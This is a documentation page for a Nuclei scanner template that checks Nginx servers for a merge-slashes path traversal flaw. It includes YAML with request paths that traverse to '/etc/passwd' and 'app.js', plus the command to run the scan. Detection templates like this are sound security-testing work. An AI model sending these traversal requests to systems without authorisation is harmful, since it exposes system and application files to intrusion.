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Nginx Server - Local File Inclusion

ID: nginx-merge-slashes-path-traversal

Severity: high

Author: dhiyaneshDk

Tags: exposure,config,lfi,nginx

Description

Section titled “Description”

Nginx server is vulnerable to local file inclusion.

YAML Source

Section titled “YAML Source”
id: nginx-merge-slashes-path-traversal


info:
  name: Nginx Server - Local File Inclusion
  author: dhiyaneshDk
  severity: high
  description: Nginx server is vulnerable to local file inclusion.
  reference:
    - https://github.com/detectify/ugly-duckling/blob/master/modules/crowdsourced/nginx-merge-slashes-path-traversal.json
    - https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 3
  tags: exposure,config,lfi,nginx


http:
  - method: GET
    path:
      - "{{BaseURL}}///////../../../etc/passwd"
      - "{{BaseURL}}/static///////../../../../etc/passwd"
      - "{{BaseURL}}///../app.js"


    stop-at-first-match: true


    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"
          - "app.listen"
        part: body
        condition: or


      - type: status
        status:
          - 200
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Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/other/nginx-merge-slashes-path-traversal.yaml"

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